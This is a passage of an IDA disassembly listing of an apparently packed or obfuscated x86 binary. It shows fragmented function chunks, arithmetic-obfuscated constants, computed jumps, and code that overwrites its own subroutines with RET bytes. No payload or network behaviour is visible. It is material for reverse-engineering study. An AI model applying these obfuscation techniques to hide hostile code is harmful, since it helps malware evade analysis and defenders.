		or	ecx, edi
		jmp	loc_44B30E
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------

loc_44E03B:				; CODE XREF: dviuq5id:loc_43B1A0j
		mov	edi, ecx
		pop	ecx
		add	edi, 0DE7FDD0h
		sub	edi, 679E0AF9h
		jb	loc_453C64
		mov	edx, [ebx]
		cmp	esi, 0B07A940Bh
		jmp	loc_44CAA9
; ---------------------------------------------------------------------------
		push	esi
		push	0E905EF14h
		pop	esi
		or	esi, 2674352Ah
		xor	esi, 885735CEh
		add	esi, 991F0558h
		mov	[esi], eax
		jmp	loc_45594B
; ---------------------------------------------------------------------------
		mov	ds:off_41D030, eax
		lea	eax, sub_450519
		mov	byte ptr [eax],	0C3h
		jmp	loc_4418A6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450519

loc_44E091:				; CODE XREF: sub_450519j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	offset sub_448F69
		jmp	loc_446813
; END OF FUNCTION CHUNK	FOR sub_450519
; ---------------------------------------------------------------------------

loc_44E09F:				; CODE XREF: dviuq5id:00458CA0j
		push	631E95CAh
; START	OF FUNCTION CHUNK FOR sub_450F3F

loc_44E0A4:				; CODE XREF: sub_450F3F:loc_458C8Fj
		push	offset loc_4568F2
		jmp	loc_449DC9
; END OF FUNCTION CHUNK	FOR sub_450F3F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4582AD

loc_44E0AE:				; CODE XREF: sub_4582AD:loc_455FC6j
		mov	ebp, edx
		or	ebx, esi
		shr	edi, 5
		jmp	loc_45443F
; END OF FUNCTION CHUNK	FOR sub_4582AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D24F

loc_44E0BA:				; CODE XREF: sub_43D24F:loc_4431D6j
		jz	loc_44EE84
		jmp	loc_43EE38
; END OF FUNCTION CHUNK	FOR sub_43D24F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_451084

loc_44E0C5:				; CODE XREF: sub_451084:loc_43E7D8j
		and	ebx, 0B0B5A81Dh
		add	ebx, 0D0216277h
		call	sub_43CA5B
; END OF FUNCTION CHUNK	FOR sub_451084
; START	OF FUNCTION CHUNK FOR sub_43FA59

loc_44E0D6:				; CODE XREF: sub_43FA59+18C3j
		jmp	loc_43E962
; END OF FUNCTION CHUNK	FOR sub_43FA59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43D28E

loc_44E0DB:				; CODE XREF: sub_43D28E+42BFj
		jz	loc_441C1F
		jmp	loc_458B6A
; END OF FUNCTION CHUNK	FOR sub_43D28E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440D0D

loc_44E0E6:				; CODE XREF: sub_440D0D:loc_43F830j
		or	eax, eax
		jnz	sub_43E67C
		jmp	loc_4493E9
; END OF FUNCTION CHUNK	FOR sub_440D0D
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_465. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C4E2

loc_44E0F4:				; CODE XREF: sub_44C4E2+DCA1j
		jmp	loc_45289C
; END OF FUNCTION CHUNK	FOR sub_44C4E2
; ---------------------------------------------------------------------------

loc_44E0F9:				; CODE XREF: dviuq5id:00439C1Aj
		jnb	loc_45411B
		mov	[edi], esi
		jmp	sub_442AA1
; ---------------------------------------------------------------------------

loc_44E106:				; CODE XREF: dviuq5id:0044ED50j
		shr	eax, 5

; =============== S U B	R O U T	I N E =======================================



sub_44E109	proc near		; CODE XREF: sub_44846C+EA6Fp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043B5E1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00445175 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CCD2 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00452BAF SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00457313 SIZE 00000024 BYTES

		xchg	eax, [esp+4+var_4]
		pop	eax
		push	0E4A1E618h
		jmp	loc_445175
sub_44E109	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44E117:				; CODE XREF: sub_440898:loc_43B247j
		adc	edx, ebx
		and	esi, ecx
		jmp	loc_454733
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_44E120:				; CODE XREF: sub_448154-DA52j
		adc	ebp, ecx

loc_44E122:				; CODE XREF: sub_448154:loc_456960j
		push	8EC1EA96h
		pop	ecx
		rol	ecx, 1Fh
		sub	ecx, 0ED670EF2h
		xor	ecx, 0F8EFA224h
		add	ecx, ebp
		call	sub_449948

loc_44E13E:				; CODE XREF: dviuq5id:0043DC4Bj
		jmp	loc_44D7B3
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44122E

loc_44E143:				; CODE XREF: sub_44122E+16j
		jnz	loc_45451D
		jmp	loc_452339
; END OF FUNCTION CHUNK	FOR sub_44122E
; ---------------------------------------------------------------------------

locret_44E14E:				; CODE XREF: dviuq5id:loc_44CC15j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D9C6

loc_44E14F:				; CODE XREF: sub_44D9C6-48B4j
		jmp	sub_4444EE
; END OF FUNCTION CHUNK	FOR sub_44D9C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D45B

loc_44E154:				; CODE XREF: sub_44D45B-12ACAj
		rol	eax, 12h
		push	eax
		retn
; END OF FUNCTION CHUNK	FOR sub_44D45B
; ---------------------------------------------------------------------------

loc_44E159:				; CODE XREF: dviuq5id:004497F8j
		jmp	loc_440C57
; ---------------------------------------------------------------------------
		mov	eax, 0D53D974Bh
		call	sub_453642
		mov	ds:off_41D064, eax
		lea	eax, sub_4535DC
		mov	byte ptr [eax],	0C3h
		jmp	loc_4517CD
; ---------------------------------------------------------------------------
		call	nullsub_11
		jmp	ds:dword_41D068
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439013

loc_44E187:				; CODE XREF: sub_439013+1CF94j
		jmp	loc_439AC1
; END OF FUNCTION CHUNK	FOR sub_439013
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_11. PRESS	KEYPAD "+" TO EXPAND]
		db 80h,	23h, 0A4h
		dd 75E90000h
		db 9, 0FFh
		db 0FFh
; ---------------------------------------------------------------------------

loc_44E197:				; CODE XREF: dviuq5id:0044A2F8j
		pop	esi
		sub	esi, 0BA0CB56h
		rol	esi, 18h
		add	esi, 0E9AC3352h
		cmp	esi, 1BE423DDh
		jmp	loc_45A47C
; ---------------------------------------------------------------------------
		pop	ecx
		xor	edi, ebp
		jmp	sub_452D9B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_295. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4509F7

loc_44E1BB:				; CODE XREF: sub_4509F7-8148j
		jmp	loc_43F3BA
; END OF FUNCTION CHUNK	FOR sub_4509F7

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E1C0	proc near		; CODE XREF: sub_43BA0E+2900p
					; dviuq5id:0043EAF3p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0043A110 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C0F6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043CAE9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0043CF07 SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0043DBBB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 004407BF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00442901 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 004437CD SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00444C56 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00446731 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0044773A SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00447C52 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0044844B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004484C0 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0044ABFF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044CDC5 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0044CE5E SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0044D4CF SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DE5E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044DF03 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044EED6 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0044F926 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00450916 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450A47 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00450F76 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00454C00 SIZE 00000025 BYTES
; FUNCTION CHUNK AT 004556DA SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00456715 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00457D0A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00457EE8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00458BC1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0045A5A8 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_44CE5E
sub_44E1C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44E1C9:				; CODE XREF: dviuq5id:00457A78j
		push	offset loc_44811F
		jmp	locret_450DE6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446004

loc_44E1D3:				; CODE XREF: sub_446004:loc_459B15j
					; dviuq5id:00459B34j
		and	esi, 2A35C812h
		add	esi, 0F5CE3FF0h
		xchg	esi, [esp-4+arg_0]
		pushf
		push	4FDCFCD2h
		pop	eax
		sub	eax, 0D4F0C7ACh
		jmp	loc_444D67
; END OF FUNCTION CHUNK	FOR sub_446004
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439E87

loc_44E1F4:				; CODE XREF: sub_439E87:loc_45505Cj
		add	dword ptr [ebp-8], 4
		jmp	loc_454DC1
; ---------------------------------------------------------------------------

loc_44E1FD:				; CODE XREF: sub_439E87+CAA9j
		add	dword ptr [ebp-8], 2
		jmp	loc_43B74B
; END OF FUNCTION CHUNK	FOR sub_439E87

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E206	proc near		; CODE XREF: sub_451B18:loc_44A4F8p
					; sub_451B18-2AE2p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00443405 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00448886 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00448892 SIZE 00000003 BYTES
; FUNCTION CHUNK AT 00459DD4 SIZE 00000005 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		jmp	loc_459DD4
sub_44E206	endp ; sp-analysis failed

; ---------------------------------------------------------------------------

loc_44E211:				; CODE XREF: dviuq5id:loc_44AD38j
		mov	eax, 20413B0Fh
		call	sub_453642
		push	edx
		push	6BE06987h
		pop	edx
		jmp	loc_448D36
; ---------------------------------------------------------------------------

loc_44E227:				; DATA XREF: sub_44DFB8+9o
		imul	byte ptr [edx]
		push	offset sub_453BE2
		jmp	loc_45964F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CBA2

loc_44E233:				; CODE XREF: sub_44CBA2:loc_458A2Cj
		mov	ecx, edi
		or	edi, 0C56D2023h
		test	ecx, 83B47806h
		jmp	loc_459026
; END OF FUNCTION CHUNK	FOR sub_44CBA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AE26

loc_44E246:				; CODE XREF: sub_44AE26:loc_44AE35j
		cmp	dword ptr [ebp-8], 0
		jz	loc_44BE04
		jmp	loc_4537BE
; END OF FUNCTION CHUNK	FOR sub_44AE26

; =============== S U B	R O U T	I N E =======================================



sub_44E255	proc near		; CODE XREF: sub_4444EEj
					; DATA XREF: sub_459F64:loc_4444E4o

; FUNCTION CHUNK AT 0043DCEE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004539DF SIZE 0000000A BYTES

		call	sub_44010B
		push	eax
		push	3167729Dh
		pop	eax
		or	eax, 636C6810h
		add	eax, 8CD48A2Dh
		jmp	loc_43DCEE
sub_44E255	endp

; ---------------------------------------------------------------------------
		mov	ds:dword_41D0DC, eax
		lea	eax, nullsub_467
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_467
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FED0

loc_44E286:				; CODE XREF: sub_43FED0j
		xchg	ebx, [esp+0]
		jmp	loc_44FB87
; END OF FUNCTION CHUNK	FOR sub_43FED0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_58. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44E28F:				; CODE XREF: dviuq5id:004466FEj
		jmp	loc_448B7D
; ---------------------------------------------------------------------------

loc_44E294:				; CODE XREF: dviuq5id:00444002j
		jmp	loc_451837
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440DA1

loc_44E299:				; CODE XREF: sub_440DA1+2B4Ej
		jmp	loc_44115A
; END OF FUNCTION CHUNK	FOR sub_440DA1
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_227. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44AAE9

loc_44E29F:				; CODE XREF: sub_44AAE9+9j
		jmp	loc_456CF6
; END OF FUNCTION CHUNK	FOR sub_44AAE9
; ---------------------------------------------------------------------------

loc_44E2A4:				; CODE XREF: dviuq5id:loc_4393A5j
		jl	loc_453ABE
; START	OF FUNCTION CHUNK FOR sub_44B301

loc_44E2AA:				; CODE XREF: sub_44B301+E0FDj
		jmp	loc_4438A5
; END OF FUNCTION CHUNK	FOR sub_44B301
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440294

loc_44E2AF:				; CODE XREF: sub_440294+9F0Fj
		jmp	loc_44B5CB
; END OF FUNCTION CHUNK	FOR sub_440294
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44623D

loc_44E2B4:				; CODE XREF: sub_44623D+B20j
		jmp	loc_442385
; END OF FUNCTION CHUNK	FOR sub_44623D
; ---------------------------------------------------------------------------

loc_44E2B9:				; CODE XREF: dviuq5id:0043B4EFj
		jmp	locret_439E80
; ---------------------------------------------------------------------------
		sbb	ecx, 0CC22BD3Ch
		push	0ACF59370h
		jmp	loc_449D8B
; ---------------------------------------------------------------------------

loc_44E2CE:				; CODE XREF: dviuq5id:0044DF8Bj
		add	edi, 0BC1ACC43h

; =============== S U B	R O U T	I N E =======================================



sub_44E2D4	proc near		; CODE XREF: sub_439013+1C7B8p

; FUNCTION CHUNK AT 004397A3 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00439D23 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043B1F9 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00440C93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00444D4C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044ADA3 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0044E4A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004517DA SIZE 00000013 BYTES
; FUNCTION CHUNK AT 004547B8 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00458359 SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		push	3773A92h
		pop	eax

loc_44E2DE:				; CODE XREF: dviuq5id:00450DAEj
		add	eax, ds:4000F9h
		cmp	eax, 0C4033867h
		jmp	loc_439D23
sub_44E2D4	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450A73

loc_44E2EF:				; CODE XREF: sub_450A73:loc_4418FEj
		jnz	loc_44EFAF
		jmp	sub_450A73
; END OF FUNCTION CHUNK	FOR sub_450A73

; =============== S U B	R O U T	I N E =======================================



sub_44E2FA	proc near		; CODE XREF: dviuq5id:0043D6CFp
					; sub_450A73-F78Ep ...

; FUNCTION CHUNK AT 00457F74 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004592E3 SIZE 00000016 BYTES

		jb	sub_43DD6F
		call	sub_455981

loc_44E305:				; CODE XREF: sub_44A015+74B6j
		jmp	loc_4592E3
sub_44E2FA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4574E7

loc_44E30A:				; CODE XREF: sub_4574E7-FCA5j
		jmp	loc_45683F
; END OF FUNCTION CHUNK	FOR sub_4574E7

; =============== S U B	R O U T	I N E =======================================



sub_44E30F	proc near		; DATA XREF: dviuq5id:0044F3CBo

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0044C9FB SIZE 0000000B BYTES

		push	4B6CC21h
		xchg	ebx, [esp+4+var_4]
		mov	edx, ebx

loc_44E319:				; CODE XREF: dviuq5id:loc_43EC16j
		pop	ebx
		or	edx, 208627FFh
		add	edx, ds:4000F7h
		sub	edx, 9FDF741Bh
		jmp	loc_44C9FB
sub_44E30F	endp

; ---------------------------------------------------------------------------

loc_44E331:				; DATA XREF: sub_451EEC+3E29o
		or	eax, eax
		jnz	loc_45862F
		jmp	loc_457585
; ---------------------------------------------------------------------------

loc_44E33E:				; DATA XREF: sub_450B01:loc_4425C4o
		mov	eax, 60h
		call	sub_43CCD1
		jmp	loc_44D90C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443862

loc_44E34D:				; CODE XREF: sub_443862+4B7Aj
		jb	sub_452089
		push	ebp
		jmp	loc_459B90
; END OF FUNCTION CHUNK	FOR sub_443862
; ---------------------------------------------------------------------------

loc_44E359:				; CODE XREF: dviuq5id:0043A131j
		jbe	loc_457F21
		adc	ebx, 84C0B0A0h
		xchg	edi, [eax]
; START	OF FUNCTION CHUNK FOR sub_44B70C

loc_44E367:				; CODE XREF: sub_44B70C:loc_43A11Bj
		sub	eax, 180BFBAEh
; END OF FUNCTION CHUNK	FOR sub_44B70C
; START	OF FUNCTION CHUNK FOR sub_440898

loc_44E36D:				; CODE XREF: sub_440898:loc_441AE1j
		add	eax, 0B5F9FBE7h
		xor	eax, 0E721389Dh
		jmp	loc_43EE49
; END OF FUNCTION CHUNK	FOR sub_440898
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4525D0

loc_44E37E:				; CODE XREF: sub_4525D0-A8C1j
		jnz	loc_449FC8
		jmp	loc_43DAD0
; END OF FUNCTION CHUNK	FOR sub_4525D0

; =============== S U B	R O U T	I N E =======================================



sub_44E389	proc near		; CODE XREF: dviuq5id:00443123j
					; sub_451DAA-88C2p

; FUNCTION CHUNK AT 0043B40B SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00451BDE SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		jnz	loc_449056
		mov	eax, [ebp-4]
		cmp	byte ptr [eax],	0E8h
		jnz	loc_43A3CD
		mov	eax, [ebp-4]
		jmp	loc_451BDE
sub_44E389	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	edi, esi
		jmp	loc_440978
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449EB7

loc_44E3AE:				; CODE XREF: sub_4562B4:loc_44017Aj
					; sub_43C3D8+A422j ...
		mov	eax, [ebp+var_C]
		mov	esp, ebp

loc_44E3B3:				; CODE XREF: dviuq5id:loc_455976j
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_449EB7
; ---------------------------------------------------------------------------

loc_44E3B5:				; CODE XREF: dviuq5id:00439BA0j
		jmp	loc_453A92

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44E3BA	proc near		; CODE XREF: dviuq5id:loc_439BF3p
					; sub_442503-81E1p ...
		push	ebp
		mov	ebp, esp
		jmp	sub_440B69
sub_44E3BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_44E3C2	proc near		; DATA XREF: dviuq5id:0044C0C1o

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004396CD SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00443C34 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00450677 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00458CA5 SIZE 00000006 BYTES

		xor	eax, 16E26BFDh
		push	edx
		pushf
		push	0E69DB015h
		jmp	loc_443C34
sub_44E3C2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439C09

loc_44E3D4:				; CODE XREF: sub_439C09:loc_453259j
		jnb	loc_455D34

loc_44E3DA:				; CODE XREF: dviuq5id:004561C5j
		jmp	loc_4536E7
; END OF FUNCTION CHUNK	FOR sub_439C09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439CB7

loc_44E3DF:				; CODE XREF: sub_439CB7+190B7j
		jmp	nullsub_159
; END OF FUNCTION CHUNK	FOR sub_439CB7
; ---------------------------------------------------------------------------
		pop	esi
		jnz	loc_44C2CD
		jmp	loc_455D33
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_394. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------

loc_44E3F1:				; CODE XREF: dviuq5id:004547D2j
		jmp	loc_458396
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_448154

loc_44E3F6:				; CODE XREF: sub_448154:loc_452542j
		jmp	loc_43B4FF
; END OF FUNCTION CHUNK	FOR sub_448154
; ---------------------------------------------------------------------------
		push	edi
		push	0FB899C81h
		pop	edi
		or	edi, 0BB7C1142h
		jmp	loc_44DE8D
; ---------------------------------------------------------------------------

locret_44E40D:				; CODE XREF: dviuq5id:loc_43C73Bj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CB4C

loc_44E40E:				; CODE XREF: sub_43CB4C:loc_43C7D1j
		push	offset loc_43E79B
		jmp	nullsub_133
; END OF FUNCTION CHUNK	FOR sub_43CB4C
; ---------------------------------------------------------------------------

loc_44E418:				; CODE XREF: dviuq5id:0043DEF4j
		or	edi, 2326BC59h
		test	edi, 1
		jmp	loc_448717
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446DD8

loc_44E429:				; CODE XREF: sub_446DD8-B502j
		jl	nullsub_283

loc_44E42F:				; CODE XREF: sub_446DD8:loc_454EEDj
		mov	eax, [esp+0]
		push	offset loc_4451D1
		jmp	nullsub_282
; END OF FUNCTION CHUNK	FOR sub_446DD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44CFBC

loc_44E43C:				; CODE XREF: sub_44CFBC:loc_446283j
		jz	loc_43DE89
		jmp	loc_44C17C
; END OF FUNCTION CHUNK	FOR sub_44CFBC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CC42

loc_44E447:				; CODE XREF: sub_43CC42+3F0Ej
					; sub_43CC42:loc_44F207j
		push	ecx
		push	11A19037h
		xchg	esi, [esp+0]
		mov	ecx, esi
		jmp	loc_43DCA4
; END OF FUNCTION CHUNK	FOR sub_43CC42
; ---------------------------------------------------------------------------

loc_44E457:				; CODE XREF: dviuq5id:00446952j
		push	eax
		jmp	loc_44C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_455658

loc_44E45D:				; CODE XREF: sub_455658j
		push	eax
		mov	eax, edx
		xchg	eax, [esp+0]
		mov	edx, ebp
		xchg	edx, [esp+0]
		mov	ebp, esp
		push	eax
		jmp	loc_4423F1
; END OF FUNCTION CHUNK	FOR sub_455658
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_447A8A

loc_44E470:				; CODE XREF: sub_447A8A:loc_447D6Aj
		jz	loc_452033
		jmp	loc_4485ED
; END OF FUNCTION CHUNK	FOR sub_447A8A
; ---------------------------------------------------------------------------
		ror	esi, 0Ch
		xchg	esi, [ebx]
		jmp	sub_452189
; ---------------------------------------------------------------------------

locret_44E485:				; CODE XREF: dviuq5id:loc_4407BAj
		retn

; =============== S U B	R O U T	I N E =======================================



sub_44E486	proc near		; CODE XREF: sub_44A829j
					; DATA XREF: sub_4192DB:loc_44A81Fo
		call	sub_44E491
		jmp	ds:off_41D1FC
sub_44E486	endp


; =============== S U B	R O U T	I N E =======================================



sub_44E491	proc near		; CODE XREF: sub_43FA59+3BFBj
					; sub_44E486p ...

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043DC19 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043DF84 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0043E2AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00440050 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00442A48 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0044F566 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0044F631 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004515CE SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00454F22 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00456D1D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0045A510 SIZE 00000005 BYTES

		pop	edx
		js	loc_454F22
		jmp	loc_44F566
sub_44E491	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450159

loc_44E49D:				; CODE XREF: sub_450159+13j
		mov	ebp, ebx
		xchg	edi, [esp+4+var_4]
		mov	ebx, edi
		pop	edi
		retn
; END OF FUNCTION CHUNK	FOR sub_450159
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44E2D4

loc_44E4A6:				; CODE XREF: sub_44E2D4+64EAj
		jmp	loc_4397A3
; END OF FUNCTION CHUNK	FOR sub_44E2D4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_450D5C

loc_44E4AB:				; CODE XREF: sub_450D5C+14j
		jmp	loc_444710
; END OF FUNCTION CHUNK	FOR sub_450D5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449286

loc_44E4B0:				; CODE XREF: sub_449286+7j
		jmp	loc_43EB73
; END OF FUNCTION CHUNK	FOR sub_449286
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_459804

loc_44E4B5:				; CODE XREF: sub_459804-4DF3j
		ja	loc_459829

loc_44E4BB:				; CODE XREF: sub_459804:loc_44CDDFj
		movzx	eax, word ptr [ebp-6]

loc_44E4BF:				; CODE XREF: sub_459804-A7ADj
		mov	[ebp-1Ch], eax
; END OF FUNCTION CHUNK	FOR sub_459804
; START	OF FUNCTION CHUNK FOR sub_443173

loc_44E4C2:				; CODE XREF: sub_443173:loc_454B97j
		mov	eax, [ebp-18h]
		jmp	loc_442C6A
; END OF FUNCTION CHUNK	FOR sub_443173
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446A9C

loc_44E4CA:				; CODE XREF: sub_446A9C:loc_44A664j
		add	edi, ebp
		add	edi, 6FA451EBh
		mov	[edi], eax
		pop	edi
		popf
		jmp	loc_4538CA
; END OF FUNCTION CHUNK	FOR sub_446A9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FDFB

loc_44E4DB:				; CODE XREF: sub_43FDFB:loc_44920Dj
		jnz	loc_4499BF

loc_44E4E1:				; CODE XREF: dviuq5id:0043B60Dj
		jmp	loc_4414E4
; END OF FUNCTION CHUNK	FOR sub_43FDFB
; ---------------------------------------------------------------------------
		shr	ebx, 15h
		jmp	loc_4499B8
; ---------------------------------------------------------------------------

loc_44E4EE:				; DATA XREF: sub_456F1D+6o
		pop	ebp
		mov	eax, ds:dword_43F078
		or	eax, eax
		jnz	loc_440F3A
		jmp	loc_450723
; ---------------------------------------------------------------------------

loc_44E502:				; CODE XREF: dviuq5id:loc_44185Ej
		sub	eax, 0DE279A0Ah
		add	eax, 334B837Ch
		or	eax, 2F8A00Dh
		add	eax, 15459480h
		jmp	loc_442988
; ---------------------------------------------------------------------------

locret_44E51F:				; CODE XREF: dviuq5id:0044F545j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B99E

loc_44E520:				; CODE XREF: sub_44B99E-591Cj
		jmp	loc_442869
; END OF FUNCTION CHUNK	FOR sub_44B99E
; ---------------------------------------------------------------------------

loc_44E525:				; CODE XREF: dviuq5id:0043DC90j
		jmp	loc_44AA18
; ---------------------------------------------------------------------------

loc_44E52A:				; CODE XREF: dviuq5id:00439CFBj
		shr	ebx, 19h
		xchg	ecx, esi
		xor	ebp, 596B2835h
		add	edx, esi

loc_44E537:				; CODE XREF: dviuq5id:loc_457B1Fj
		push	0
		push	edi
		mov	edi, esi
		jmp	loc_445837
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_283. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A4E3

